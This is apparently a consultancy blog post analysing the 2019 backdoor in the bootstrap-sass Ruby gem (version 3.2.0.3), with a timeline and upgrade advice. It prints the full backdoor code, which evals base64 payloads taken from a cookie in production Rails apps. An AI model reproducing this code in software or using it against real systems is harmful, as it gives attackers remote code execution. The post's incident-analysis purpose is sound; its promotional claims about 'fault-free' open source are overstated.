Given their reach, open-source application packages may be easy to exploit if not correctly maintained. iRonin experts, being members of a top Ruby on Rails development company, always take appropriate steps to make your codebase more secure and fault-proof. These include monitoring security reports, minimizing unnecessary dependencies, and thoroughly vetting used gems and libraries.
The recent code vulnerabilities in bootstrap-saas Ruby gem result from incapacitated account security. We look into the malicious activity to understand what caused it and learn what can be done to eradicate such a situation in the future.
A popular Ruby Gem, bootstrap-sass, was compromised recently, and the malicious version (3.2.0.3) was made available to download on the official RubyGems site. The version included a backdoor that allowed attackers to command execution from the server-side of the Rails application remotely.
What Went Down
On March 26th, a bootstrap-sass user, Derek Barnes, came across the suspicious version of bootstrap-saas on the RubyGems official repository. This version (3.2.0.3) wasn't released on GitHub. With the release of the malicious version, the previous version (3.2.0.2) was removed from the RubyGems repository. These events weren't mentioned in the changelogs, which is uncommon. He compared the two versions using `diff` and found the following malicious code fragment:
begin
require 'rack/sendfile'
if Rails.env.production?
Rack::Sendfile.tap do |r|
r.send :alias_method, :c, :call
r.send(:define_method, :call) do |e|
begin
x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
eval(x) if x
rescue Exception
end
c(e)
end
end
end
rescue Exception
nil
endIf users run the application in its production mode (Rails.env.production), the code readily accepts the content from (\_\_\_cfduid), a user cookie. Then, it decodes it with base64 and runs the result through `eval`, thus remotely executing whatever command is provided.
Derek Barnes added a thread on GitHub to inform other users and to seek an explanation from the application maintainers. Shortly after publishing the thread, the bootstrap-saas maintainers confirmed the suspicious code as a backdoor.
Early in understanding the malicious code fragment, the maintainers of bootstrap-saas did not know how the backdoor was added. It wasn't even confirmed which (of the two) accounts were attacked, which means there is no guarantee that the attackers can't find another way. Additionally, the lack of robust security at RubyGems' official repository at the time of writing makes the system much more vulnerable as no multi-factor authentication and/or activity logs are required.
Gleb Mazovetskiy, one of the bootstrap-saas maintainers, admitted: "I did have a relatively weak password for RubyGems account." According to Mazovetskiy, he created the account a long time ago before the site had any of its current password policies.
Thomas McDonald, another maintainer, added to the conversation: "Given my lack of activity on this project, I'm also happy to revoke my write access to the gem."
Are open-source applications vulnerable to threats?
With popular open-source packages, there is an incredible reach that the attackers want to exploit. This is why they go to great lengths to use techniques like social engineering and phishing to access popular open-source packages. A similar attack last October, where a cryptocurrency-stealing code was added to the Node.js package, is a good example of how attackers can gain access to popular open-source packages. The attacker convinced a legitimate maintainer to give him access and later locked the maintainer out.
In the recent case, the damage was less severe as the maintainers could yank the backdoor code immediately after its discovery, and the new version (3.2.0.4) was made available on April 4th. The latest version holds absolute similarity to the 3.2.0.2 version (the one that was compromised in March of this year). The maintainers also recommend users upgrade to the latest branch, 3.4.x, for increased security.
However, despite the threats, open-source projects are often considered a better option due to unprecedented quality that may not be found in proprietary solutions and closed codebases. The difference between code quality mainly occurs because proprietary code may not be thoroughly tested and usually doesn't involve a large community of users.
The bigger the community of a repository, the better quality and security you can get. Ruby on Rails is an excellent example of an open-source project developed over the years to offer fault-free code.
With open-source projects, there is a vast community constantly verifying the code quality and security measures, eradicating the potential bugs that can jeopardize the integrity of your application. In addition, the open source code often goes through a rigorous review process by involved QA engineers, contributors, and maintainers before it is added to the repository. This comprehensive process of review makes open-source projects reliable for myriad applications.
The attack timeline
| Version 3.2.0.2 was taken off from the official RubyGems registry with an intent to be replaced by the malicious version (3.2.0.3) | |
| March 26th, 2019 | Version 3.2.0.3 was published on RubyGem repository by malicious attackers. The version had a hidden backdoor in the following file: lib/active-controller/middleware.rb. |
| The version 3.2.0.3 matched SHA256 checksum 366d6162fe36fc81dadc114558b43c6c8890c8bcc7e90e2949ae6344d0785dc0. | |
| March 26th at 10:59 PM GMT | Derek Barnes, a bootstrap-saas user published the issue regarding his suspicion about the code fragment in version 3.2.0.3 to notify the maintainers and the community. |
| March 26th at 11:56 PM GMT | After an hour of its release, the malicious version was removed from the official RubyGems repository and it was confirmed that the accounts’ credentials have been updated. |
| As both 3.2.0.3 and 3.2.0.2 versions were being removed, users had to upgrade to alternate versions like 3.4.1, based on the maintainers’ recommendation. | |
| April 3rd, at 4:10 PM GMT | A new version, 3.2.0.4, was released with features identical to the retracted version, 3.2.0.2. |
What do you do if you are affected by the attack?
If you have learned that your Rails application is affected by the vulnerable code, you need to replace 3.2.0.3 with the recently published 3.2.0.4 immediately. We recommend that you let a professional test your repositories to ensure that the upgrade has been made successfully and that your application is safe from future vulnerabilities.
How do we prevent code vulnerabilities?
Every application is susceptible to a certain degree of vulnerability caused by malicious attacks, poor-quality code, and overlooked bugs during development. These potential vulnerabilities can be easily eradicated through robust development and quick upgrades.
Did your Rails application get affected by this malicious activity? If so, we can help you upgrade to the newly published version (3.2.0.4) and ensure that your application is safe from such attacks in the future. Here at iRonin, we offer robust software development for your projects so you can eradicate the potential code vulnerabilities that can impact the integrity of your application.
